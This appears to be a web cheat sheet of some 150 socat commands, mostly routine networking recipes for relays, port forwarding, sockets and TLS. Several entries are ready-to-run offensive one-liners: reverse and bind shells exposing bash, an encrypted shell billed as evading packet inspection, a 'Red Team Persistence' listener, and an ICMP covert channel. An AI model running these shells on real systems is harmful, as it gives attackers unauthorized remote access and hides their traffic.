Skip to content

socat

150 commands

A bidirectional data relay between almost any two endpoints — sockets, files, pipes, TLS — ideal for port forwarding and stable shells.

  • networking
  • relay
  • port forwarding

Install socat

sudo apt install socat

Basic Syntax & Help2

socat -h

Displays the basic help summary and command line options.

socat -V

Prints version information and supported features/protocols.

Basic STDIO1

socat - -

Pipes standard input directly to standard output, acting as a simple echo.

Basic File Operations2

socat - /tmp/testfile.txt

Writes data received from standard input to a specified file.

Link
socat /tmp/testfile.txt -

Reads data from a specified file and outputs it to standard output.

Basic TCP Client1

socat - TCP:127.0.0.1:80

Connects to a local TCP port 80 and sends stdin/receives stdout.

Basic TCP Server1

socat TCP-LISTEN:8080 STDOUT

Listens on TCP port 8080 and prints incoming data to stdout (single connection).

Basic UDP Client1

socat - UDP:127.0.0.1:53

Sends data from stdin to a UDP socket on port 53.

Basic UDP Server1

socat UDP-LISTEN:5353 STDOUT

Listens for UDP packets on port 5353 and prints them to stdout.

TCP Server (Persistent)1

socat TCP-LISTEN:8080,fork STDOUT

Listens on port 8080 and forks a new process for each connection to handle multiple clients.

Link

TCP Server (Reuse Address)1

socat TCP-LISTEN:8080,reuseaddr STDOUT

Listens on port 8080 and allows immediate reuse of the port after termination.

Link

Port Forwarding (TCP)1

socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80

Forwards all incoming traffic on local port 8080 to remote IP 192.168.1.50 on port 80.

Link

Port Forwarding (UDP)1

socat UDP-LISTEN:5353,fork UDP:192.168.1.50:53

Forwards all incoming UDP traffic on local port 5353 to remote IP 192.168.1.50 on port 53.

Link

Local Port Binding1

socat TCP:192.168.1.50:80,bind=192.168.1.10 -

Connects to a remote server while binding the source traffic to a specific local interface IP.

Link

Source Port Binding1

socat TCP:192.168.1.50:80,sp=31337 -

Connects to a remote server forcing the source port to be 31337.

Link

Unix Domain Socket Listen1

socat UNIX-LISTEN:/tmp/mysocket -

Creates a Unix domain socket at /tmp/mysocket and listens for connections.

Link

Unix Domain Socket Connect1

socat - UNIX-CONNECT:/tmp/mysocket

Connects to an existing Unix domain socket at /tmp/mysocket.

Link

Unix Datagram Listen1

socat UNIX-RECVFROM:/tmp/udgram.sock -

Creates a Unix datagram socket and receives packets.

Link

Unix Datagram Send1

socat - UNIX-SENDTO:/tmp/udgram.sock

Sends data from stdin to a Unix datagram socket.

Link

IPv6 TCP Client1

socat - TCP6:[::1]:80

Connects to an IPv6 localhost address on TCP port 80.

Link

IPv6 TCP Server1

socat TCP6-LISTEN:8080 STDOUT

Listens on IPv6 port 8080 and prints output to stdout.

Link

Protocol Bridging (IPv4 to IPv6)1

socat TCP4-LISTEN:8080,fork TCP6:[::1]:80

Listens on IPv4 port 8080 and forwards traffic to an IPv6 address.

Link

Protocol Bridging (TCP to Unix)1

socat TCP-LISTEN:8080,fork UNIX-CONNECT:/tmp/app.sock

Exposes a local Unix domain socket over a TCP port.

Link

File Transfer (Receiver)1

socat TCP-LISTEN:9999,fork FILE:received_file.txt,create

Listens on port 9999 and writes incoming data to a new file.

Link

File Transfer (Sender)1

socat FILE:source_file.txt TCP:192.168.1.50:9999

Reads a file and sends its content to a remote TCP port.

Link

Execution (Simple)1

socat - EXEC:/bin/date

Executes the date command and prints the output to stdout.

Link

Execution (Network)1

socat TCP-LISTEN:8080,fork EXEC:/bin/cat

Listens on port 8080 and executes 'cat' for every connection, acting as an echo server.

Link

System Execution1

socat - SYSTEM:'ls -la'

Uses the system() call to execute a shell command line string.

Link

SSL Client (Unverified)1

socat - OPENSSL:192.168.1.50:443,verify=0

Connects to an SSL/TLS service without verifying the server certificate.

Link

SSL Server (Self-Signed)1

socat OPENSSL-LISTEN:4443,cert=server.pem,key=server.key,verify=0 STDOUT

Listens for SSL connections using a specified certificate and key file.

Link

SSL Client (Verified)1

socat - OPENSSL:example.com:443,cafile=ca.pem

Connects to an SSL service and verifies trust using a specific CA file.

Link

SSL Server (Require Client Cert)1

socat OPENSSL-LISTEN:4443,cert=server.pem,verify=1,cafile=client_ca.pem -

Listens for SSL connections and mandates a valid client certificate.

Link

Proxy Connect (HTTP)1

socat - PROXY:10.0.0.1:target.com:80,proxyport=3128

Connects to target.com via an HTTP proxy at 10.0.0.1:3128.

Link

Proxy Connect (SOCKS4)1

socat - SOCKS4:127.0.0.1:target.com:80,socksuser=nobody

Connects to target.com via a local SOCKS4 proxy.

Link

Proxy Connect (SOCKS5)1

socat - SOCKS5:127.0.0.1:target.com:80

Connects to target.com via a local SOCKS5 proxy.

Link

Virtual Serial Port1

socat PTY,link=/tmp/ttyV0 PTY,link=/tmp/ttyV1

Creates two connected pseudo-terminals to simulate a serial null-modem cable.

Link

Serial to TCP1

socat /dev/ttyS0,raw,echo=0 TCP:192.168.1.50:9000

Bridges a physical serial port to a TCP connection.

Link

Command Line History (Readline)1

socat READLINE TCP:127.0.0.1:80

Wraps the connection in readline to allow line editing and history on the client side.

Link

Logging (Verbose)1

socat -d -d TCP-LISTEN:8080 STDOUT

Runs socat with increased verbosity to show connection lifecycle events.

Link

Logging (File)1

socat -lf /tmp/socat.log TCP-LISTEN:8080 STDOUT

Redirects socat internal log messages to a specified file.

Link

Data Dump (Hex)1

socat -x TCP-LISTEN:8080 STDOUT

Prints all traffic passing through the connection in hexadecimal format to stderr.

Link

Bind Shell (Basic)1

socat TCP-LISTEN:4444,fork EXEC:/bin/bash

Exposes a bash shell on port 4444 (Unsecure: No TTY).

Link

Reverse Shell (Basic)1

socat TCP:192.168.1.5:4444 EXEC:/bin/bash

Connects to a listener on 192.168.1.5 and provides a bash shell.

Link

Bind Shell (TTY)1

socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Exposes a fully interactive TTY shell on port 4444 handling signals correctly.

Link

Reverse Shell (TTY)1

socat TCP:192.168.1.5:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Connects back to an attacker and provides a fully interactive TTY shell.

Link

Encrypted Bind Shell1

socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0,fork EXEC:/bin/bash

Exposes a bash shell wrapped in SSL encryption to evade basic packet inspection.

Link

Encrypted Reverse Shell1

socat OPENSSL:192.168.1.5:4444,verify=0 EXEC:/bin/bash

Connects back to an SSL listener and provides a shell.

Link

Datagram Forwarding (UDP to TCP)1

socat UDP-LISTEN:514,fork TCP:192.168.1.50:514

Converts UDP Syslog traffic to TCP for reliable transport.

Link

Abstract Namespace (Linux)1

socat ABSTRACT-LISTEN:mysocket -

Listens on a Linux abstract namespace socket (no filesystem presence).

Link

Abstract Namespace Connect1

socat - ABSTRACT-CONNECT:mysocket

Connects to a Linux abstract namespace socket.

Link

Multicast Receive1

socat UDP4-RECVFROM:8888,ip-add-membership=224.0.0.1:0.0.0.0 -

Joins a multicast group 224.0.0.1 and receives packets on port 8888.

Link

Multicast Send1

socat - UDP4-DATAGRAM:224.0.0.1:8888

Sends UDP datagrams to a multicast address.

Link

Broadcast Send1

socat - UDP4-DATAGRAM:192.168.1.255:9999,broadcast

Sends UDP packets to the broadcast address of the subnet.

Link

Broadcast Receive1

socat UDP4-RECVFROM:9999,broadcast -

Receives broadcast UDP packets on port 9999.

Link

TCP Wrapper1

socat TCP-LISTEN:8080,fork,tcpwrap=httpd STDOUT

Listens on port 8080 and checks /etc/hosts.allow/deny using the 'httpd' service name.

Link

Range Restriction1

socat TCP-LISTEN:8080,fork,range=192.168.1.0/24 STDOUT

Accepts connections only from IP addresses within the 192.168.1.0/24 subnet.

Link

User Impersonation (Su)1

socat TCP-LISTEN:8080,su=nobody STDOUT

Starts as root to bind port 8080, then drops privileges to user 'nobody'.

Link

Chroot Jail1

socat TCP-LISTEN:8080,chroot=/var/tmp/jail STDOUT

Restricts the socat process to a specific directory (chroot) after connection.

Link

Connection Timeout1

socat - TCP:192.168.1.50:80,connect-timeout=5

Aborts the connection attempt if the server does not respond within 5 seconds.

Link

Read Timeout1

socat - TCP:192.168.1.50:80,read-timeout=10

Closes the connection if no data is received for 10 seconds.

Link

Total Timeout1

socat -t 20 TCP:192.168.1.50:80 -

Terminates the process after 20 seconds of inactivity when one side closes.

Link

Keepalive Tuning1

socat - TCP:192.168.1.50:80,keepalive,keepidle=60,keepintvl=10,keepcnt=3

Enables TCP keepalives with custom idle time, interval, and failure count.

Link

Traffic Shaping (MSS)1

socat - TCP:192.168.1.50:80,mss=512

Forces the Maximum Segment Size to 512 bytes for testing fragmentation or MTU issues.

Link

Traffic Shaping (TTL)1

socat - TCP:192.168.1.50:80,ttl=1

Sets the IP Time To Live to 1, useful for testing network hops.

Link

Pipe Integration1

socat PIPE:/tmp/mypipe -

Reads from an existing named pipe.

Link

Open File by Descriptor1

socat FD:3 -

Reads/Writes to file descriptor 3 (useful in shell scripts).

Link

Quiet Mode1

socat -u TCP:192.168.1.50:80 -

Unidirectional mode (left to right only), ignoring reverse traffic.

Link

Reverse Unidirectional1

socat -U TCP:192.168.1.50:80 -

Unidirectional mode (right to left only), useful for download-only streams.

Link

Ignore EOF1

socat -u FILE:data.txt,ignoreeof TCP:192.168.1.50:9000

Keeps the socket open even after the input file has been fully read.

Link

Web Server (Static Response)1

socat TCP-LISTEN:8080,fork SYSTEM:'echo HTTP/1.0 200; echo Content-Type: text/plain; echo; echo Hello'

A crude HTTP server that returns a static hello message to every visitor.

Link

Web Server (File Serve)1

socat TCP-LISTEN:8080,fork SYSTEM:'cat header.txt index.html'

Serves a specific HTML file with headers upon connection.

Link

HTTP Proxy (Man-in-the-Middle)1

socat -v TCP-LISTEN:8080,fork TCP:target.com:80

Forwards traffic to target.com and logs HTTP headers to stderr.

Link

Raw Socket Send1

socat - RAW:192.168.1.50:255

Sends raw IP packets (protocol 255) to a destination.

Link

Interface Binding1

socat - UDP:192.168.1.50:53,bindtodevice=eth0

Forces the traffic to exit through a specific network interface (eth0).

Link

TUN Interface Creation1

socat TUN:10.0.0.1/24,tun-type=tun,tun-name=mytun0 -

Creates a virtual TUN interface with IP 10.0.0.1 (requires root).

Link

TAP Interface Creation1

socat TUN:10.0.0.1/24,tun-type=tap,tun-name=mytap0 -

Creates a virtual TAP (Ethernet) interface.

Link

SCTP Client1

socat - SCTP:192.168.1.50:80

Connects to a remote SCTP service.

Link

SCTP Server1

socat SCTP-LISTEN:8080,fork STDOUT

Listens for incoming SCTP connections.

Link

OpenSSL Certificate Gen (Context)1

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key

Prerequisite command to generate certificate/key pairs for socat SSL listeners.

Link

SSL Fingerprinting1

socat -v OPENSSL:192.168.1.50:443,verify=0 /dev/null

Connects via SSL and dumps verbose handshake info to stderr to inspect headers.

Link

DTLS Client (UDP SSL)1

socat - OPENSSL-DTLS-CLIENT:192.168.1.50:4433,verify=0

Connects to a Datagram TLS (UDP encrypted) service.

Link

DTLS Server (UDP SSL)1

socat OPENSSL-DTLS-SERVER:4433,cert=server.pem,key=server.key,verify=0 STDOUT

Listens for DTLS connections.

Link

File Descriptor Passing1

socat UNIX-LISTEN:/tmp/pass.sock,fork EXEC:'/bin/cat',fdin=3,fdout=4

Advanced usage for passing specific file descriptors to the executed process.

Link

GOPEN (Generic Open)1

socat - GOPEN:/tmp/testfile.txt

Opens a file using generic open flags, useful for non-standard file types.

Link

Directory Traversal Test1

socat - TCP:192.168.1.50:80,crlf

Sends payloads with forced CRLF line endings to test web servers.

Link

SMTP Interaction1

socat - TCP:192.168.1.50:25,crlf

Connects to an SMTP server, automatically converting local LF to network CRLF.

Link

Banner Grabbing1

socat - OPENSSL:192.168.1.50:443,verify=0,connect-timeout=2

Quickly connects to an SSL port to grab the service banner and disconnect.

Link

VM Socket (VSOCK) Connect1

socat - VSOCK-CONNECT:2:1234

Connects to a VSOCK (Virtual Machine socket) CID 2 port 1234.

Link

VM Socket (VSOCK) Listen1

socat VSOCK-LISTEN:1234 STDOUT

Listens for VSOCK connections on port 1234.

Link

Disable Nagle Algorithm1

socat - TCP:192.168.1.50:80,nodelay

Disables Nagle's algorithm (TCP_NODELAY) for lower latency on small packets.

Link

Broadcast Relay1

socat UDP4-RECVFROM:9999,broadcast,fork UDP4-DATAGRAM:192.168.2.255:9999,broadcast

Relays broadcast traffic from one subnet to another.

Link

Git Protocol Wrapper1

socat TCP-LISTEN:9418,fork EXEC:'git daemon --inetd --verbose --base-path=/tmp/repo'

Exposes a local git repository via the Git protocol.

Link

Rsync Wrapper1

socat TCP-LISTEN:873,fork EXEC:'rsync --daemon --no-detach'

Wraps the rsync daemon in a socat listener.

Link

Port Knocking Simulation1

socat - UDP:192.168.1.1:7000; socat - UDP:192.168.1.1:8000

Sends a sequence of packets to specific ports to trigger a knock sequence.

Link

Payload Injection (File)1

socat TCP:192.168.1.50:80 FILE:exploit.bin

Sends the raw binary content of a file directly to a target service.

Link

Loopback Relay1

socat TCP-LISTEN:8080,fork TCP:127.0.0.1:80

Exposes a service bound to localhost only (127.0.0.1) to the external network interface.

Link

Unix to TCP Bridge1

socat UNIX-LISTEN:/tmp/docker.sock,fork TCP:192.168.1.50:2375

Maps a local Docker Unix socket to a remote TCP Docker daemon.

Link

TCP to Unix Bridge1

socat TCP-LISTEN:2375,fork UNIX-CONNECT:/var/run/docker.sock

Exposes the local Docker Unix socket over TCP (Security risk: use with caution).

Link

Encrypted Forwarder1

socat TCP-LISTEN:8080,fork OPENSSL:example.com:443,verify=0

Creates a local plaintext listener that encrypts traffic to a remote SSL server.

Link

Decrypted Forwarder1

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:127.0.0.1:80

Offloads SSL encryption, forwarding decrypted traffic to a local HTTP server.

Link

IPv6 Tunnelling over IPv41

socat TCP4-LISTEN:8080,fork TCP6:[2001:db8::1]:80

Bridges IPv4 network traffic to an internal IPv6-only host.

Link

Multiple Listeners1

socat TCP-LISTEN:8080,fork TCP-LISTEN:8081,fork

Bridges two different listening ports together, connecting clients from port A to clients on port B.

Link

Log Timestamping1

socat -lf /tmp/log.txt -d -d TCP-LISTEN:8080 STDOUT

Logs connections with timestamps to a file for auditing.

Link

Read-Only File System Mount1

socat UNIX-LISTEN:/tmp/readonly.sock,fork EXEC:'ls -la',readonly

Executes a command but prevents it from writing data back to the socket.

Link

Write-Only Socket1

socat -u - TCP:192.168.1.50:9000

Enforces a strict write-only channel to the destination.

Link

Maximum Children Limit1

socat TCP-LISTEN:8080,fork,max-children=5 STDOUT

Limits the concurrent connections to 5 to prevent resource exhaustion.

Link

Backlog Queue Tuning1

socat TCP-LISTEN:8080,backlog=128 STDOUT

Sets the listen backlog queue size to 128 connections.

Link

Set Buffer Size1

socat - TCP:192.168.1.50:80,sndbuf=65536,rcvbuf=65536

Manually adjusts the send and receive buffer sizes.

Link

Ignore Signals1

socat - TCP:192.168.1.50:80,sighup,sigint

Configures the process to ignore SIGHUP and SIGINT signals.

Link

Lock File Protection1

socat TCP-LISTEN:8080,lock=/tmp/socat.lock STDOUT

Ensures only one instance runs by using a lock file.

Link

Fuzzing Input (Random)1

socat -u /dev/urandom TCP:192.168.1.50:80

Streams random garbage data to a target port to test stability.

Link

Fuzzing Input (Zeroes)1

socat -u /dev/zero TCP:192.168.1.50:80

Streams infinite zero bytes to a target port.

Link

Blue Team Canary (Web)1

socat TCP-LISTEN:80,fork SYSTEM:'echo "ALERT: Port 80 Access from $SOCAT_PEERADDR" >> /var/log/canary.log; echo HTTP/1.0 200 OK; echo; echo OK'

Logs the attacker's IP to a file whenever port 80 is touched.

Link

Blue Team Canary (SSH)1

socat TCP-LISTEN:22,fork SYSTEM:'echo "ALERT: SSH Probe from $SOCAT_PEERADDR" >> /var/log/canary.log'

Deploys a fake SSH listener that logs any connection attempts.

Link

Port Scan Detector1

socat TCP-LISTEN:12345,fork SYSTEM:'logger -t SOCAT "Port scan detected from $SOCAT_PEERADDR"'

Listens on a high port and sends a syslog message if connected to.

Link

Packet Capture Simulation1

socat -u TCP-LISTEN:8080,fork OPEN:/tmp/capture.pcap,creat,append

Captures raw payloads sent to the port and saves them to a file.

Link

Red Team Persistence1

socat TCP-LISTEN:5555,fork,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Runs a background listener shell that respawns after disconnect.

Link

Covert Channel (ICMP)1

socat -v PIPE:/tmp/data IP4:192.168.1.50:1

Tunnels data over raw ICMP protocol (Ping) traffic.

Link

Terminator (Timeout)1

socat -T 5 TCP-LISTEN:8080 STDOUT

Forces the total connection time to strictly 5 seconds, then kills it.

Link

Environment Variable Injection1

socat TCP-LISTEN:8080,fork EXEC:'env'

Prints the server-side environment variables to the connecting client.

Link

Transparent Proxy (Linux)1

socat TCP-LISTEN:8080,fork,su=nobody TCP:original-dest:80

A basic setup often used with iptables redirection for transparent proxying.

Link

Hex Dump Analysis1

socat -x -v TCP-LISTEN:8080 STDOUT

Combines verbose logging and hex dumping for deep protocol analysis.

Link

File Append Mode1

socat -u TCP-LISTEN:8080,fork OPEN:/var/log/aggregator.log,creat,append

Aggregates logs from multiple network sources into a single file.

Link

SOCKS Proxy Chaining1

socat - SOCKS4:127.0.0.1:target:80,socksuser=nobody,socksport=9050

Directs traffic through a secondary proxy (e.g., Tor) on port 9050.

Link

Named Pipe (FIFO) Create1

mkfifo /tmp/fifo; socat - PIPE:/tmp/fifo

Interacts with a manually created named pipe.

Link

UDP Multicast Listener (Specific Interface)1

socat UDP4-RECVFROM:8888,ip-add-membership=239.0.0.1:192.168.1.10 -

Listens for multicast traffic on a specific network interface IP.

Link

Send to Syslog1

socat - UNIX-SENDTO:/dev/log

Injects a message directly into the local system logging socket.

Link

Listen on Interface (SO_BINDTODEVICE)1

socat TCP-LISTEN:8080,bindtodevice=eth0 STDOUT

Accepts connections only if they arrive on the eth0 interface.

Link

OpenSSL Cipher Selection1

socat - OPENSSL:192.168.1.50:443,cipher=AES256-SHA

Forces the SSL connection to use a specific cipher suite.

Link

OpenSSL Version Force1

socat - OPENSSL:192.168.1.50:443,method=TLS1.2

Forces the usage of TLS 1.2 specifically.

Link

Shutdown Mode (Write)1

socat - TCP:192.168.1.50:80,shut-down

Shuts down the writing half of the connection after EOF on stdin.

Link

Shutdown Mode (Close)1

socat - TCP:192.168.1.50:80,shut-close

Completely closes the socket after EOF on stdin.

Link

Interactive Chat Server1

socat TCP-LISTEN:4444,fork READLINE

Creates a simple chat server where connected clients have line editing capabilities.

Link

Broadcast Echo Server1

socat UDP4-LISTEN:9999,broadcast,fork EXEC:/bin/cat

Replies to broadcast packets by echoing the data back.

Link

Quick Web Client1

socat - TCP:example.com:80

Performs a manual HTTP GET request.

Link

Socket Pair (Internal)1

socat -d -d SOCKET-CONNECT:1:2 -

Connects to an already open file descriptor pair (advanced internal piping).

Link

System Beep (Remote)1

socat UDP-LISTEN:9999,fork SYSTEM:'echo -e "\a"'

Triggers the system bell/beep whenever a UDP packet is received.

Link

Wait for Port1

socat -u TCP:127.0.0.1:8080,retry=10,interval=1 -

Retries connection to the port 10 times with 1 second intervals until successful.

Link

File Permission Set1

socat UNIX-LISTEN:/tmp/secure.sock,user=root,group=root,mode=600 -

Creates a Unix socket with strict 600 permissions.

Link

Listen Limit1

socat TCP-LISTEN:8080,max-connections=1 STDOUT

Allows only a single active connection at a time.

Link

UDP Connect (Pseudo)1

socat - UDP-CONNECT:192.168.1.50:53

Establishes a 'connected' state for UDP, allowing ICMP error tracking.

Link

Dual Stack Listen1

socat TCP6-LISTEN:8080,ipv6-v6only=0 STDOUT

Listens on both IPv6 and IPv4 (dual stack) if OS supports it.

Link

Safe Cleanup1

socat - TCP:192.168.1.50:80; rm -f /tmp/data

Standard shell chaining to clean up files after socat exits.

Link

Process Substitution1

socat TCP-LISTEN:8080 SYSTEM:"diff <(ls) <(ls -a)"

Serves the output of a complex shell command involving process substitution.

Link

Compression Stream1

socat TCP-LISTEN:8080 SYSTEM:"gzip -c"

Compresses incoming data on the fly using gzip.

Link

Decompression Stream1

socat TCP:192.168.1.50:8080 SYSTEM:"gunzip -c"

Decompresses received network data on the fly.

Link

Base64 Encode Stream1

socat TCP-LISTEN:8080 SYSTEM:"base64"

Encodes incoming data to Base64 format.

Link

Base64 Decode Stream1

socat TCP:192.168.1.50:8080 SYSTEM:"base64 -d"

Decodes incoming Base64 data back to binary.

Link

Multi-Hop Chain (Client)1

socat - TCP:relay1:8080 | socat - TCP:target:80

Manually piping two socat instances to create a hop (concept only, requires listener).

Link

Full Duplex Pipe1

socat TCP:192.168.1.10:80 TCP:192.168.1.20:80

Bridges two remote servers together, allowing them to talk to each other through you.

Link